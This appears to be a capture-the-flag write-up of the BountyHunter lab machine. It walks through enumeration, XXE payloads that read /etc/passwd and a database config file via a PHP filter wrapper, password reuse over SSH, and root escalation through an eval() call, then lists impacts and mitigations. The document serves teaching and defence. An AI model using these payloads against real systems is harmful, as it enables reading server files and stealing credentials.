Sailor Security

Exploiting XML External Entity Injection (XXE) Vulnerability

Table of Contents

  1. About the Vulnerability
  2. Enumeration
  3. Initial Foothold
  4. Privilege Escalation
  5. Impact
    1. Technical Impacts
    2. Business Repercussions
  6. Mitigations

About the Vulnerability

XML External Entity (XXE) vulnerability is a serious security flaw where an application mishandles XML input, allowing attackers to inject malicious XML entities.

Enumeration

Testing connection to the target box:

Brief Nmap Scan

Ports 22 and 80 are open.

Detailed Nmap Scan

Shows port 80 runs Apache 2.4.41 Ubuntu, however, port 22 (SSH) can’t be target at the moment until creds are acquired. 

nmap -sC -sV -p- --open bountyhunter.htb

Web Directory Brute forcing

Utilizing wfuzz tool against the target, found db.php and portal.php interesting to ignite further investigation.

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 http://bountyhunter.htb:80/FUZZ

Manual inspection

Visited web home page, contact form, source page, about page, nothing looked interesting except Portal page, will tackle in a moment.

The /db.php seems to be not returning any output on screen, also the source page is nothing but the digit 1.

Visiting the Portal.php

Seems interesting… it leads to an entry page, persumably, it can be leveraged for some type of injection.

Testing the functionality with some input… Seems the database is not ready to store the input.

Investigating more using Burbsuite

Proxy enabled, intercepting the traffic, there is parameter ‘Data’ in base-64.

Using BurbSuit’s Inspector tool, the base-64 decoded data results in XML. Here is a possibility of XXE injection!

Testing for XXE injection

<?xml  version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE testing[<!ENTITY xxe 'vulnerable to xxe!'>]>  <bugreport>

<title>&xxe;</title>

<cwe>123</cwe> 

<cvss>9</cvss>

<reward>5555</reward>

</bugreport>

Vulnerability Confirmed

After clicking ‘Apply changes’, click sent, shows the application is vulnerable to XXE injection.

Exfiltrating data

Reading /etc/passwd content via XXE.

<?xml  version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE testing[<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>  <bugreport>

  <title>&xxe;</title>

  <cwe>123</cwe>

  <cvss>9</cvss>

  <reward>5555</reward>

  </bugreport>

System users discovery

The /etc/passwd content shows the user root and development.

Retrieving Database Credentials

Perhaps, the db.php can be read via xxe too, trying the PHP wrapper filter — thanks to PayloadsAllTheThings.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/Files/XXE%20PHP%20Wrapper.xml

<?xml  version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE testing[<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/db.php'>]>  <bugreport>

  <title>&xxe;</title>

  <cwe>123</cwe>

  <cvss>9</cvss>

  <reward>5555</reward>

  </bugreport>

Got the response with content of db.php in base-64

After decoding the base64 data, seems admin credentials for the database.

Password Spray Attack

As password reuse is pretty common, brute forcing the above password with the found users in ssh.

As password reuse is pretty common, brute forcing the above password with the found users in ssh.

Initial Foothold

Success! logged in with the development user using the found password.

Post-Enumeration

Found the file contractor.txt on the development home directory — talking about skytrain project — mentioning and development user has granted access to test the application.

Sudo -l confirms the access to run the ticketValidator.py script/file.

Privilege Escalation

The use of eval() in the line validationNumber = eval(x.replace(“**”, “”)) can be abused to execute our own code. Also there is no input sanitization in this code which poses another security risk.

Testing the script functionality:

Enumerating around the files in the target system, found the load.md file under tmp directory, which shows it already has arbitrary command injection .

Passing the load.md file when running the ticketValidator.py script, grants privilege escalation to system user — root.

Impact

Technical Impacts

  1. Data Disclosure: Attackers can exploit XXE vulnerabilities to access sensitive data stored on the server, such as configuration files, credentials, or any other information accessible to the application.
  2. Server Side Request Forgery (SSRF): XXE vulnerabilities can be used to perform SSRF attacks, where an attacker can make the vulnerable server send arbitrary requests to other servers, potentially leading to further attacks or data breaches.
  3. Denial of Service (DoS): By exploiting XXE vulnerabilities, attackers can craft malicious XML payloads that cause the server to consume excessive resources, leading to a denial of service condition.
  4. Sensitive Information Disclosure: XXE vulnerabilities can be used to disclose sensitive information about the server’s internal structure or the application’s logic, which can aid attackers in further exploiting the system.

Business Repercussions

  • Financial Loss: Data breaches resulting from XXE vulnerabilities can lead to financial losses due to fines, legal fees, and compensation to affected individuals.
  • Reputation Damage: A data breach can damage the reputation of the affected organization, leading to loss of customer trust and potential business.
  • Legal Consequences: Failure to protect sensitive information can result in legal consequences, such as regulatory fines or lawsuits.
  • Operational Disruption: A successful attack exploiting XXE vulnerabilities can disrupt the organization’s operations, leading to downtime and loss of productivity.

Mitigations

  1. Disable External Entities: Disable external entity processing in XML parsers, or use parsers that do not support external entities, such as XMLReader in PHP or XMLPullParser in Java.
  2. Input Validation: Validate and sanitize all input data, especially XML input, to ensure it does not contain malicious content.
  3. Use Whitelists: Use whitelists to define the acceptable set of entities and elements in XML documents, rejecting any input that falls outside these rules.
  4. Use Safe Parsers: Use safe XML parsers that do not support external entities by default, or configure them to disable external entity processing.
  5. Security Headers: Use security headers such as Content Security Policy (CSP) to mitigate XXE attacks in browsers by restricting the sources of content that can be loaded.
  6. File Upload Security: If file uploads are allowed, ensure that uploaded files are scanned for malicious content and that they are stored in a secure location with restricted access.